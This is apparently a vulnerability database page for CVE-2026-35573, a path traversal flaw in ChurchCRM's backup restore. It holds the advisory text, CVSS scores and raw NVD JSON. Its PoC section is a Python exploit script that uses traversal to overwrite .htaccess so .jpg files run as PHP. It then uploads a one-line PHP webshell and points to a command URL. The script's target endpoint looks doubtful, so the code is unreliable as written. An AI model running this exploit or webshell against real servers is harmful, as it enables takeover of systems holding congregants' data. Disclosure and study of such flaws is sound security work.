CVE-2026-35573

Description

ChurchCRM is an open-source church management system. Prior to 6.5.3, a path traversal vulnerability in ChurchCRM's backup restore functionality allows authenticated administrators to upload arbitrary files and achieve remote code execution by overwriting Apache .htaccess configuration files. The vulnerability exists in src/ChurchCRM/Backup/RestoreJob.php. The $rawUploadedFile['name'] parameter is user-controlled and allows uploading files with arbitrary names to /var/www/html/tmp_attach/ChurchCRMBackups/. This vulnerability is fixed in 6.5.3.

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:* - VULNERABLE

ChurchCRM < 6.5.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Example)
url = "http://target-churchcrm.com/RestoreJob.php"

# Attacker needs a valid admin session cookie
cookies = {'PHPSESSID': 'valid_admin_session_id'}

# Step 1: Upload a malicious .htaccess file to change file handler
# We use path traversal '../' to move out of the backup dir to the web root
# Content: Treat .jpg files as PHP code
htaccess_payload = "AddType application/x-httpd-php .jpg"

files = {
    'file': ('../../.htaccess', htaccess_payload, 'text/plain')
}

print("[+] Uploading malicious .htaccess...")
r1 = requests.post(url, files=files, cookies=cookies)

if r1.status_code == 200:
    print("[+] .htaccess potentially uploaded.")
    
    # Step 2: Upload a webshell disguised as an image
    webshell_code = "<?php system($_GET['cmd']); ?>"
    files_shell = {
        'file': ('shell.jpg', webshell_code, 'image/jpeg')
    }
    
    print("[+] Uploading webshell...")
    r2 = requests.post(url, files=files_shell, cookies=cookies)
    
    if r2.status_code == 200:
        print("[+] Exploit complete. Access shell at: http://target-churchcrm.com/tmp_attach/ChurchCRMBackups/shell.jpg?cmd=whoami")
else:
    print("[-] Exploit failed.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-35573
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-35573
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-35573/
[4] VulDB https://vuldb.com/cve/CVE-2026-35573
[5] https://github.com/ChurchCRM/CRM/security/advisories/GHSA-r6cr-mvr9-f6wx
[6] https://github.com/ChurchCRM/CRM/security/advisories/GHSA-r6cr-mvr9-f6wx

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-35573", "sourceIdentifier": "[email protected]", "published": "2026-04-07T18:16:41.760", "lastModified": "2026-04-10T20:59:20.150", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ChurchCRM is an open-source church management system. Prior to 6.5.3, a path traversal vulnerability in ChurchCRM's backup restore functionality allows authenticated administrators to upload arbitrary files and achieve remote code execution by overwriting Apache .htaccess configuration files. The vulnerability exists in src/ChurchCRM/Backup/RestoreJob.php. The $rawUploadedFile['name'] parameter is user-controlled and allows uploading files with arbitrary names to /var/www/html/tmp_attach/ChurchCRMBackups/. This vulnerability is fixed in 6.5.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.5.3", "matchCriteriaId": "5B1435CA-1370-4154-85E0-6AF1846DEEBD"}]}]}], "references": [{"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-r6cr-mvr9-f6wx", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-r6cr-mvr9-f6wx", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}